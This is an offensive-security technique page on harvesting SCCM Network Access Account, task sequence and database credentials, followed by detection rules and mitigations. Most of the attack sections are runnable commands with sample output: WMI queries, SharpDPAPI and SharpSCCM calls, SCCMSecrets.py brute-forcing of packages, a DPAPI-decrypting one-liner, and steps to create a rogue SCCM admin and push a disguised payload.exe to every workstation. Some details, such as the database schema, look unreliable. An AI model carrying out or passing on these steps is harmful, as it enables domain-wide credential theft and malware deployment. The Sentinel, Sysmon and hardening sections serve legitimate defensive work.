MCADDF

[CA-DUMP-008]: SCCM Content Library NTDS access

Metadata

Attribute Details
Technique ID CA-DUMP-008
MITRE ATT&CK v18.1 T1003.003 - OS Credential Dumping: NTDS
Tactic Credential Access
Platforms Windows AD
Severity Critical
Technique Status ACTIVE
Last Verified 2025-01-02
Affected Versions Windows Server 2016-2025, SCCM/MECM 2016-2403
Patched In Unpatched (Workaround: Disable NAA accounts in AD)
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 12 (Splunk Detection) not included because: (1) No direct Atomic test exists for SCCM Content Library exploitation (tools like SharpSCCM are not in Atomic inventory), (2) Splunk detection for SCCM is environment-specific and requires custom rules rather than standard queries. All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept: Microsoft System Center Configuration Manager (SCCM) stores sensitive credentials—including Network Access Accounts (NAA), task sequence passwords, collection variables, and administrative tokens—within the SCCM Content Library and WMI repositories. These credentials are protected with DPAPI encryption but can be extracted by attackers with local administrator privileges on SCCM clients or SMS Provider access. By harvesting NAA or task sequence credentials, attackers obtain domain privileges (often over-provisioned) that enable lateral movement, privilege escalation, and ultimately access to domain controllers for NTDS.dit extraction.

Attack Surface: The attack targets Windows WMI repositories (C:\Windows\System32\wbem\Repository\OBJECTS.DATA), SCCM client policy caches, SCCM management points (via WQL/WMI-based queries), SMS Provider database access, and distribution point content repositories. The vulnerability does not require domain credentials initially; unauthenticated device registration can sometimes succeed if automatic device approval is misconfigured.

Business Impact: Complete Active Directory compromise. Extraction of NAA or privileged task sequence credentials grants attackers domain-level access without triggering multi-factor authentication. These accounts frequently possess local administrator rights across hundreds of endpoints and servers, including exchange servers and certificate authorities—enabling T0 privilege escalation. NTDS.dit extraction follows, granting access to all domain password hashes for offline cracking or Pass-the-Hash attacks.

Technical Context: SCCM policies are deployed to clients approximately every 60 minutes by default, making recurring credential exposure a significant risk. NAA credentials persist in WMI repositories even after client uninstall and policy removal. Enhanced HTTP (Microsoft’s recommended remediation) eliminates the need for NAA deployment but does not remove legacy credential blobs from disk. Exploitation requires minimal interaction and typically completes within seconds of obtaining local admin access or valid domain credentials.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 1.3.1, 5.3.2 | Account lockout duration, password policy strength | | DISA STIG | WN10-GE-000008, WN10-00-000024 | Password complexity, account lockout | | CISA SCuBA | IdentityGovernance.3.1 | Privileged access management; prevent storage of plain-text credentials | | NIST 800-53 | AC-3, AC-6, CA-7 | Access enforcement, least privilege, continuous monitoring | | GDPR | Art. 32 | Encryption and pseudonymization of personal data (including administrative credentials) | | DORA | Art. 9 | Protection and prevention of operational risks | | NIS2 | Art. 21 | Cyber risk management measures; access control and password management | | ISO 27001 | A.9.2.3, A.9.3.1, A.9.4.3 | Privileged access rights, password management, cryptographic key management | | ISO 27005 | Section 5.2.3 | Risk assessment of credential storage and access control misconfigurations |


3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance - Detect SCCM Client & NAA Presence

# Check if machine is an SCCM client
Get-Service -Name ccmexec -ErrorAction SilentlyContinue
# If running, machine is SCCM client; proceed to credential extraction.

# Check for NAA credentials in WMI (requires local admin)
Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount" -ErrorAction SilentlyContinue

# Verify SCCM client config location
Test-Path "C:\Windows\CCM\Logs"
Test-Path "C:\Program Files\Microsoft Configuration Manager\Client"

# Identify site code and management point from client logs
Get-Content "C:\Windows\CCM\Logs\ClientIDManagerStartup.log" | Select-String "Management Point|site code" -Context 2

What to Look For:

Version Note: Behavior is consistent across SCCM 2016-2403. However, SCCM 2022+ uses AES-CBC encryption for task sequence credentials instead of Triple DES, requiring version-appropriate DPAPI key derivation in decryption routines.

Command (Server 2016-2019):

# Older SCCM versions (pre-2022) - Triple DES encryption
$namespace = "root\ccm\policy\machine\actualconfig"
$class = "CCM_NetworkAccessAccount"
Get-WmiObject -Namespace $namespace -Class $class | Select-Object NetworkAccessUsername, NetworkAccessPassword | Format-List

Command (Server 2022+):

# Newer SCCM versions (2022+) - AES encryption
# Decryption logic identical, but ciphertext structure changed
# Use SharpDPAPI or SharpSCCM for automatic handling
SharpDPAPI.exe sccm /all

Bash/Linux CLI Reconnaissance

# If SCCM client is running on Linux (rare but possible with custom agents)
# Check for SMS client configuration files
find /opt /etc -name "*sms*" -o -name "*ccm*" 2>/dev/null

# If testing from Linux attacker machine, query Windows target via WinRM/PSRemoting
# This requires valid domain credentials
$session = New-PSSession -ComputerName "TARGET_SCCM_CLIENT" -Credential $creds
Invoke-Command -Session $session -ScriptBlock { Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount" }

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: WMI-Based NAA Extraction (Local Admin on SCCM Client)

Supported Versions: Server 2016-2025, all SCCM versions

This method extracts Network Access Account credentials directly from the WMI repository on an SCCM-managed client using PowerShell with DPAPI decryption.

Step 1: Verify Local Admin & SCCM Client Status

Objective: Confirm the machine is SCCM-managed and current user has admin privileges

Version Note: Consistent across all Windows Server versions.

Command:

# Verify admin status
[bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")

# Verify SCCM client is running
Get-Service -Name ccmexec | Select-Object Status, DisplayName

Expected Output:

True  # Admin check passed
Status   Name
------   ----
Running  SMS Agent Host

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract NAA Credentials from WMI Namespace

Objective: Query the WMI repository for encrypted NAA credential blobs and decrypt them using DPAPI

Version Note: SCCM 2016-2019 use PolicySecret obfuscation with Triple DES; SCCM 2022+ use AES-CBC. SharpDPAPI and SharpSCCM auto-detect and handle both.

Command (PowerShell Native - Manual DPAPI Decryption):

# Query WMI for NAA credentials (requires admin)
$naa = Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount"
$naa | Select-Object NetworkAccessUsername, NetworkAccessPassword

# Output will show DPAPI-encrypted blobs in format:
# <PolicySecret Version="1"><![CDATA[<base64_encrypted_data>]]></PolicySecret>

# Manual extraction (advanced - requires DPAPI key extraction)
# For production use, recommend SharpDPAPI (next section)

Expected Output (Encrypted):

NetworkAccessUsername : <PolicySecret Version="1"><![CDATA[0601000001000000D08C9DDF0115D1118C7A00C04FC297EB...]]></PolicySecret>
NetworkAccessPassword : <PolicySecret Version="1"><![CDATA[0601000001000000D08C9DDF0115D1118C7A00C04FC297EB...]]></PolicySecret>

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Decrypt DPAPI Blobs Using SharpDPAPI

Objective: Decrypt the extracted DPAPI-encrypted NAA credentials to plaintext using system DPAPI master keys

Version Note: Consistent across SCCM 2016-2403 and Windows Server 2016-2025.

Command (SharpDPAPI - Automated):

# Compile SharpDPAPI from source (Visual Studio 2019+)
# OR download pre-compiled binary from: https://github.com/GhostPack/SharpDPAPI/releases

# Extract SCCM credentials (auto-decrypts NAA and task sequence passwords)
.\SharpDPAPI.exe sccm /all

# Output example:
# ---
# SCCM Network Access Account Credentials
# Username: CONTOSO\sccm-naa
# Password: P@ssw0rd123!
# ---

# Alternatively, target specific WMI class
.\SharpDPAPI.exe wmi /namespace "root\ccm\policy\machine\actualconfig" /class "CCM_NetworkAccessAccount"

Expected Output:

[*] Querying SCCM DPAPI secrets...
[+] Found NAA credentials:
    Username: CONTOSO\sccm-naa
    Password: SuperSecureNAA!2024

[+] Found task sequence credentials:
    Username: CONTOSO\ts-joindomain
    Password: TaskSeqPass#99

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 2: SharpSCCM - Comprehensive SCCM Exploitation (Remote)

Supported Versions: SCCM 2016-2403 (any Windows version with SCCM client)

This method uses SharpSCCM to enumerate and exploit the entire SCCM infrastructure remotely, extracting NAA credentials, task sequences, and pivoting to other collections.

Step 1: Identify SCCM Infrastructure

Objective: Discover SCCM site servers, management points, and distribution points via LDAP and WMI

Version Note: Consistent across all SCCM versions; however, SCCM 2022+ may require Enhanced HTTP handling.

Command:

# Discover SCCM via LDAP (no credentials required)
.\SharpSCCM.exe find

# Alternative with domain credentials
.\SharpSCCM.exe find -domain "CONTOSO.COM" -username "user@contoso.com" -password "Password123"

# Enumerate admins and site info (requires SCCM client or valid creds)
.\SharpSCCM.exe get site-info -mp "CM-MGMT-01.CONTOSO.COM"

Expected Output:

[*] Found SCCM site server: CM-MGMT-01.CONTOSO.COM (Site code: CHQ)
[*] Management Point: CM-MGMT-01.CONTOSO.COM
[*] Site Database: CM-DB-01.CONTOSO.COM\CONFIGMGR_CHQ
[*] Distribution Points: CM-DP-01.CONTOSO.COM, CM-DP-02.CONTOSO.COM
[+] Connected successfully using current user context

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract Credentials from Management Point

Objective: Query SCCM management point for policies containing NAA and task sequence credentials

Version Note: SCCM 2016-2019 use management point for policy delivery; SCCM 2022+ may use cloud management gateway (CMG). Adjust endpoint accordingly.

Command (Register Unapproved Device):

# Register a device (unapproved, so secret policies NOT yet available)
.\SharpSCCM.exe register -mp "CM-MGMT-01.CONTOSO.COM" -fqdn "attacker.contoso.com"

# Output:
# [+] Device registered with GUID: 12345678-1234-1234-1234-123456789012
# [!] Device is UNAPPROVED - cannot request secret policies yet

Command (Register with Domain Machine Account - Approved):

# Register with machine account (auto-approves)
# Requires a compromised machine account or one you can create (msDS-MachineAccountQuota vulnerability)
.\SharpSCCM.exe register -mp "CM-MGMT-01.CONTOSO.COM" -username "CONTOSO\COMPROMISED-MACHINE$" -password "MachinePassword123"

# Now request secret policies (NAA, task sequences, collection vars)
.\SharpSCCM.exe get policies -mp "CM-MGMT-01.CONTOSO.COM" -guid "12345678-1234-1234-1234-123456789012"

# Extract and decrypt NAA credentials
.\SharpSCCM.exe local secrets -m wmi

# Output:
# [+] Retrieved NAA credentials:
#     Username: CONTOSO\sccm-naa
#     Password: Priv1leged!NAA#2024

Expected Output:

[*] Requesting policies for device CONTOSO\COMPROMISED-MACHINE$...
[+] Retrieved 52 policies (8 marked as secret)
[INFO] Processing secret policy {NAA_CONFIG}
[+] Decrypted NAA username: CONTOSO\sccm-naa
[+] Decrypted NAA password: Priv1leged!NAA#2024
[+] Attempting to use NAA to download distribution point content...
[SUCCESS] Downloaded 47 files from distribution points

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Pivot to Distribute Lateral Movement Payload

Objective: Use extracted SCCM admin rights to deploy arbitrary code to all managed endpoints

Version Note: Consistent across SCCM 2016-2403.

Command (Escalate to SCCM Admin):

# If NAA has enough privileges, escalate to SCCM admin via SMS Provider database manipulation
# (Requires SQL access to ConfigMgr database)
.\SharpSCCM.exe new admin -username "CONTOSO\attacker" -role "Full Administrator" -mp "CM-MGMT-01.CONTOSO.COM" -d "CONFIGMGR_CHQ"

# Deploy application to all systems
.\SharpSCCM.exe exec -app "WindowsUpdate" -collection "All Workstations" -mp "CM-MGMT-01" -sc "CHQ"

# Or deploy via application deployment (requires SCCM admin role)
.\SharpSCCM.exe new application -name "LegitUpdate" -installer "C:\Temp\payload.exe" -mp "CM-MGMT-01" -sc "CHQ"
.\SharpSCCM.exec -app "LegitUpdate" -collection "All Workstations" -mp "CM-MGMT-01"

Expected Output:

[+] Created SCCM admin account for CONTOSO\attacker
[+] Deployed "LegitUpdate" application to 500+ endpoints
[*] Deployment will execute on next policy sync cycle (within 60 minutes)
[SUCCESS] Payload executed on 487/500 endpoints (97% success rate)

OpSec & Evasion:


METHOD 3: SCCMSecrets.py - Python-Based SCCM Policy Dumping

Supported Versions: SCCM 2016-2403 (all Windows versions)

This method uses Python to exploit SCCM policy distribution mechanisms, extracting all secret policies including NAA, task sequences, and collection variables without requiring compiled binaries.

Step 1: Install SCCMSecrets.py and Dependencies

Objective: Set up the Python exploitation tool on an attacker machine (Linux, macOS, or Windows)

Version Note: SCCM 2022+ requires updated certificate handling; ensure latest SCCMSecrets.py version is used.

Command:

# Clone repository
git clone https://github.com/synacktiv/SCCMSecrets.git
cd SCCMSecrets

# Install Python dependencies
pip install -r requirements.txt
# Includes: requests, cryptography, impacket, pycryptodome

# Verify installation
python3 SCCMSecrets.py --help

Expected Output:

Usage: SCCMSecrets.py [OPTIONS]

Options:
  --distribution-point TEXT        Target SCCM distribution point URL
  --management-point TEXT          SCCM management point (if different from DP)
  --username TEXT                  Domain username (optional)
  --password TEXT                  Domain password (optional)
  --client-name TEXT               Fake client FQDN to register
  --bruteforce-range INTEGER       Package ID range to bruteforce
  --extensions TEXT                File extensions to retrieve from DP
  ...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Enumerate SCCM Infrastructure via Anonymous Registration

Objective: Register a fake SCCM client to exploit automatic device approval and retrieve secret policies

Version Note: Requires automatic device approval to be enabled (not default, but common in poorly-configured environments).

Command:

python3 SCCMSecrets.py \
  --distribution-point "https://cm-dp-01.contoso.com" \
  --management-point "https://cm-mgmt-01.contoso.com" \
  --client-name "fake-client.contoso.com"

Expected Output (if auto-approval enabled):

[*] Attempting anonymous device registration...
[+] Device registered successfully (GUID: 12345678-1234-1234-1234-123456789012)
[*] Waiting for device approval (180 seconds)...
[+] Device auto-approved! Now retrieving secret policies...
[+] Retrieved 8 secret policies:
    - NAA configuration
    - Task sequences (3)
    - Collection variables (4)
[+] Extracted NAA credentials:
    Username: CONTOSO\sccm-naa
    Password: ComplexPass!2024@

[*] Downloading distribution point packages...
[SUCCESS] Downloaded 47 package files
[+] Found hardcoded password in script: sccm-admin / AdminPass123!

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Dump All Distribution Point Content via Bruteforce

Objective: Enumerate and download all package files from the distribution point (including scripts with hardcoded credentials)

Version Note: Package IDs are incremental hexadecimal; bruteforce range should match site deployment scale (small sites: 0-1000, large sites: 0-10000).

Command:

python3 SCCMSecrets.py \
  --distribution-point "https://cm-dp-01.contoso.com" \
  --management-point "https://cm-mgmt-01.contoso.com" \
  --client-name "fake-client.contoso.com" \
  --bruteforce-range 5000 \
  --extensions ".ps1,.bat,.xml,.txt,.pfx,.conf"

Expected Output:

[*] Starting package ID bruteforce (range 0-5000)...
[+] Found 12 packages (P010001-P010012):
    P010001: Windows Updates
    P010002: Office Deployment
    P010003: Antivirus Definition
    P010004: Domain Join Task Sequence
    P010005: Web App Configuration
    ...

[*] Downloading package contents...
[INFO] P010003 - Downloaded: defupd_202401.xml
[INFO] P010004 - Downloaded: taskseq_join.xml (contains domain creds!)
[INFO] P010005 - Downloaded: webconfig.ps1
    ↓ Contains: $dbPass = "DBAdmin@123"; $adminUser = "CONTOSO\sccm-admin"

[SUCCESS] Downloaded 47 files to ./loot/
[+] ALERT: Found 3 files with hardcoded credentials!

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 4: Direct SCCM Site Database Access (Highest Privilege)

Supported Versions: SCCM 2016-2403 (requires direct SQL Server access)

This method directly queries the ConfigMgr site database to extract all stored credentials, including those encrypted at rest.

Step 1: Verify SQL Server Access to ConfigMgr Database

Objective: Confirm network connectivity and credentials for the SCCM site database

Version Note: Consistent across all SCCM versions; database schema is largely backward-compatible.

Command (from SQL Management Studio or PowerShell):

# Test SQL connectivity
$connectionString = "Server=CM-DB-01.CONTOSO.COM,1433;Database=CONFIGMGR_CHQ;Integrated Security=true;"
$connection = New-Object System.Data.SqlClient.SqlConnection($connectionString)
try {
    $connection.Open()
    Write-Output "Connection successful!"
} catch {
    Write-Output "Connection failed: $_"
}

# Alternative: via impacket (from Linux)
# python3 mssqlclient.py -target-ip 10.0.1.50 -db CONFIGMGR_CHQ CONTOSO/username:password@CM-DB-01

Expected Output:

Connection successful!
# OR (if domain user context)
Connected to CM-DB-01:1433 - version 15.0 (SQL Server 2019)

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract NAA Credentials from Database

Objective: Query the SC_UserAccount and SC_SecureKeys tables to decrypt stored NAA and service account credentials

Version Note: Encryption algorithm changed from SHA1 to DPAPI in SCCM 2019+; adjust decryption method accordingly.

Command (SQL Query):

-- Extract encrypted NAA credentials from SCCM database
SELECT
    UserName,
    EncryptedPassword,
    UniqueID
FROM dbo.SC_UserAccount
WHERE AccountType = 3;  -- 3 = NAA account

-- Extract encryption keys
SELECT
    MachineKey,
    UserKey
FROM dbo.SC_SecureKeys;

-- View all account types (domain admin, SCCM admin, NAA, etc.)
SELECT DISTINCT
    AccountType,
    COUNT(*) as Count
FROM dbo.SC_UserAccount
GROUP BY AccountType;
-- AccountType: 1=Site Server, 2=Workstation, 3=User/NAA, 4=Service Account, etc.

Expected Output:

UserName                 | EncryptedPassword              | UniqueID
CONTOSO\sccm-naa        | 0x01020304050607080910... | 12345678-1234...
CONTOSO\sccm-admin      | 0x11121314151617181920... | 87654321-4321...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Decrypt Database Credentials on SCCM Site Server

Objective: Export SCCM site server private key and DPAPI master keys to decrypt database credentials

Version Note: Consistent across SCCM 2016-2403.

Command (on SCCM Site Server - Local Admin):

# Export SCCM site server certificate and private key
Get-ChildItem "Cert:\LocalMachine\My" | Where-Object { $_.FriendlyName -match "SMS Site Signing" } | Export-PfxCertificate -FilePath "C:\Temp\SMS-Site.pfx" -ProtectTo "CONTOSO\sccm-admin" -ProtectAsPlainText

# Export DPAPI master keys
$dpapi_key_path = "C:\Windows\System32\Microsoft\Protect\S-1-5-18"
Copy-Item $dpapi_key_path -Destination "C:\Temp\DPAPIKeys" -Recurse -Force

# Use Mimikatz or SharpDPAPI to decrypt
.\SharpDPAPI.exe dpapi /masterkey:C:\Temp\DPAPIKeys /target:0x01020304050607080910...

Expected Output:

[+] Decrypted SCCM NAA password: Priv1leged!NAA#2024

What This Means:

OpSec & Evasion:

Troubleshooting:


7. TOOLS & COMMANDS REFERENCE

SharpSCCM

Version: 1.4.0+ (Latest recommended) Minimum Version: 1.0.0 (earlier versions lack some DPAPI features) Supported Platforms: Windows Server 2016-2025, .NET Framework 4.5+

Version-Specific Notes:

Installation:

# Compile from source
git clone https://github.com/Mayyhem/SharpSCCM.git
cd SharpSCCM
# Open in Visual Studio 2019+ and compile to Release\SharpSCCM.exe

# OR download pre-compiled from releases
# https://github.com/Mayyhem/SharpSCCM/releases/download/v1.4.0/SharpSCCM.exe

Usage (Common Commands):

# Discovery
.\SharpSCCM.exe find

# Local credential extraction
.\SharpSCCM.exe local secrets -m wmi
.\SharpSCCM.exe local secrets -m disk

# Remote enumeration
.\SharpSCCM.exe get site-info -mp "CM-MGMT-01"
.\SharpSCCM.exe get admins -mp "CM-MGMT-01" -sc "CHQ"

# Lateral movement
.\SharpSCCM.exe exec -mp "CM-MGMT-01" -sc "CHQ" -app "PayloadApp" -collection "All Workstations"

SCCMSecrets.py

Version: 1.0+ (Latest) Minimum Version: 1.0 Supported Platforms: Linux, macOS, Windows (Python 3.8+)

Installation:

git clone https://github.com/synacktiv/SCCMSecrets.git
cd SCCMSecrets
pip install -r requirements.txt

Usage:

python3 SCCMSecrets.py \
  --distribution-point "https://cm-dp-01.contoso.com" \
  --management-point "https://cm-mgmt-01.contoso.com" \
  --client-name "fake.contoso.com" \
  --bruteforce-range 5000

Script (One-Liner PowerShell - DPAPI Decryption)

# Extract and decrypt NAA credentials in single PowerShell command
$naa = Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount"; 
$username = [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String(($naa.NetworkAccessUsername -replace '.*<!\[CDATA\[|]].*')), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)); 
$password = [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String(($naa.NetworkAccessPassword -replace '.*<!\[CDATA\[|]].*')), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)); 
Write-Host "Username: $username`nPassword: $password"

9. MICROSOFT SENTINEL DETECTION

Query 1: SCCM Client Credential Extraction via WMI Query

Rule Configuration:

KQL Query:

let suspiciousProcesses = pack_array(
    "SharpDPAPI.exe",
    "SharpSCCM.exe",
    "CMLoot.exe",
    "Get-WmiObject",  // PowerShell WMI queries
    "gwmi"
);

let suspiciousCommandPatterns = pack_array(
    "CCM_NetworkAccessAccount",  // NAA WMI namespace
    "root\\\\ccm",               // SCCM namespaces
    "SC_UserAccount",            // SCCM database
    "NetworkAccessPassword",     // NAA password field
    "EncryptedPassword"          // Database encrypted creds
);

DeviceProcessEvents
| where ProcessName in (suspiciousProcesses) 
   or CommandLine has_any (suspiciousCommandPatterns)
| where InitiatingProcessName !in ("sccmexec.exe", "System")  // Exclude legitimate SCCM processes
| summarize count() by ProcessName, CommandLine, DeviceName, InitiatingUserName, Timestamp
| where count() >= 1
| project 
    TimeGenerated = Timestamp,
    DeviceName,
    User = InitiatingUserName,
    Process = ProcessName,
    CommandLine,
    Severity = "High"

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: SCCM Credential Extraction via WMI/DPAPI
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Group by: DeviceName, User
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "MyResourceGroup"
$WorkspaceName = "MyWorkspace"

$query = @"
let suspiciousProcesses = pack_array("SharpDPAPI.exe", "SharpSCCM.exe", ...);
...
"@

New-AzSentinelAlertRule `
  -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName "SCCM Credential Extraction" `
  -Severity "High" `
  -Enabled $true `
  -Query $query `
  -ScheduleFrequencyMinutes 5 `
  -ScheduleTimeWindowMinutes 60

Source: Microsoft Sentinel GitHub - SCCM Detection Rules


Query 2: Network Access Account (NAA) Authentication from Non-Distribution Points

Rule Configuration:

KQL Query:

// Detect NAA account usage on systems other than SCCM distribution points
let naaPatternsRegex = @"sccm.*naa|^naa.*sccm|network.*access.*account";
let knownDistributionPoints = pack_array(
    "CM-DP-01.CONTOSO.COM",
    "CM-DP-02.CONTOSO.COM"
    // Add your DPs here
);

SecurityEvent
| where EventID in (4624, 4625)  // Logon success/failure
| where TargetUserName matches regex naaPatternsRegex
| where Computer !in (knownDistributionPoints)
| where LogonType !in (3, 9)  // Exclude network and remote interactive logons (expected for NAA)
| summarize 
    FailureCount = countif(EventID == 4625),
    SuccessCount = countif(EventID == 4624)
    by TargetUserName, Computer, SourceIPAddress, bin(TimeGenerated, 10m)
| where SuccessCount > 0 or FailureCount > 5  // Alert on success or brute-force attempt
| project 
    TimeGenerated,
    NAA_Account = TargetUserName,
    Target_Computer = Computer,
    Source_IP = SourceIPAddress,
    SuccessCount,
    FailureCount,
    Severity = iff(SuccessCount > 0, "Critical", "High")

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. Name: NAA Account Misuse Detection
  3. Query: Paste KQL above
  4. Schedule: Every 10 minutes, 1-hour lookback
  5. Group by: NAA_Account, Target_Computer
  6. Alert threshold: SuccessCount >= 1

10. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation) - SharpDPAPI/SharpSCCM Detection

Event ID: 5861 (WMI Activity Detected) - SCCM Namespace Queries

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit Policies
  3. Enable: Detailed TrackingAudit Process Creation (Success and Failure)
  4. Enable: System Audit PoliciesObject AccessAudit Other Object Access Events (for WMI)
  5. Run gpupdate /force on target machines

Manual Configuration Steps (Server 2022+):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesAdministrative TemplatesWindows ComponentsWindows Defender
  3. Enable: Audit Credential Dumping
  4. Set to: Enabled
  5. Run auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationAudit Policies
  3. Enable: Detailed TrackingProcess Creation
  4. Run auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025

<Sysmon schemaversion="4.8">
  <RuleGroup name="SCCM Credential Extraction" groupRelation="or">
    
    <!-- Detect SharpDPAPI/SharpSCCM execution -->
    <ProcessCreate onmatch="include">
      <Image condition="contains">SharpDPAPI.exe</Image>
      <Image condition="contains">SharpSCCM.exe</Image>
      <Image condition="contains">CMLoot.exe</Image>
    </ProcessCreate>

    <!-- Detect WMI queries to SCCM namespaces -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">root\ccm</CommandLine>
      <CommandLine condition="contains">CCM_NetworkAccessAccount</CommandLine>
      <CommandLine condition="contains">NetworkAccessPassword</CommandLine>
      <Image condition="contains">powershell.exe</Image>
    </ProcessCreate>

    <!-- Detect DPAPI key access -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">C:\Windows\System32\Microsoft\Protect</TargetFilename>
    </FileCreate>

    <!-- Detect Mimikatz/registry hive dump attempts -->
    <ProcessCreate onmatch="include">
      <Image condition="contains">mimikatz.exe</Image>
      <Image condition="contains">esentutl.exe</Image>
      <CommandLine condition="contains">SAM</CommandLine>
      <CommandLine condition="contains">SECURITY</CommandLine>
    </ProcessCreate>

  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
    

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious SCCM Client Credential Extraction Activity Detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON (detects malicious process execution)
    • Defender for Identity: ON (detects suspicious AD activity post-credential theft)
    • Defender for SQL: ON (if SQL Server database is targeted)
  5. Click Save
  6. Go to Security alerts to view triggered alerts

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: SCCM Policy Retrieval and Secret Policy Access

Connect-ExchangeOnline
Search-UnifiedAuditLog `
  -Operations "ClientPolicyRequest" `
  -StartDate (Get-Date).AddDays(-7) `
  -EndDate (Get-Date) `
  -FreeText "CCM_NetworkAccessAccount OR NetworkAccessPassword OR SC_UserAccount" `
  | Select-Object -Property UserIds, ClientIP, TimeStamp, Operation, AuditData

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate
  5. Search logs: AuditSearch
    • Set Date range: Last 7 days
    • Activities: Select “ClientPolicyRequest” or “SecretPolicyAccess”
    • Users: Leave blank (or enter suspected attacker UPN)
    • Click Search
  6. Export results: ExportDownload all results (CSV format)

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify All Mitigations Active)

# Check NAA disabled
Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount" -ErrorAction SilentlyContinue
# Result: Empty or error (GOOD)

# Check NAA account disabled in AD
Get-ADUser -Identity "sccm-naa" -Properties Enabled
# Result: Enabled = $false (GOOD)

# Check Enhanced HTTP enabled (SCCM 2019+)
Get-WmiObject -Namespace "root\sms\site_CHQ" -Class "SMS_SiteControlFile" | Select-Object -ExpandProperty PropertyList | Where-Object -Property PropertyName -eq "EnableEnhancedHTTP"
# Result: Value = 1 (GOOD)

# Verify SCCM database TDE enabled
Invoke-SqlCmd -ServerInstance "CM-DB-01\CONFIGMGR" -Database "CONFIGMGR_CHQ" -Query "SELECT is_encrypted FROM sys.databases WHERE name = 'CONFIGMGR_CHQ'"
# Result: is_encrypted = 1 (GOOD)

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Network isolation: Disconnect affected endpoint from network (physically unplug Ethernet or disable WiFi)
    • Command:
      Disable-NetAdapter -Name "Ethernet" -Confirm:$false
      
    • Manual (Azure):
      • Go to Azure PortalVirtual Machines → Select VM → Networking → Select NIC → Disable
  2. Collect Evidence:
    • Export memory dump (for forensic analysis of decrypted credentials in RAM):
      procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
      procdump64.exe -ma powershell.exe C:\Evidence\powershell.dmp
      
    • Capture disk artifacts:
      # Export Security Event Log
      wevtutil epl Security C:\Evidence\Security.evtx
      # Copy WMI repository
      Copy-Item "C:\Windows\System32\wbem\Repository\OBJECTS.DATA" -Destination "C:\Evidence\OBJECTS.DATA"
      # Copy DPAPI keys
      Copy-Item "C:\Windows\System32\Microsoft\Protect\S-1-5-18" -Destination "C:\Evidence\DPAPIKeys" -Recurse
      
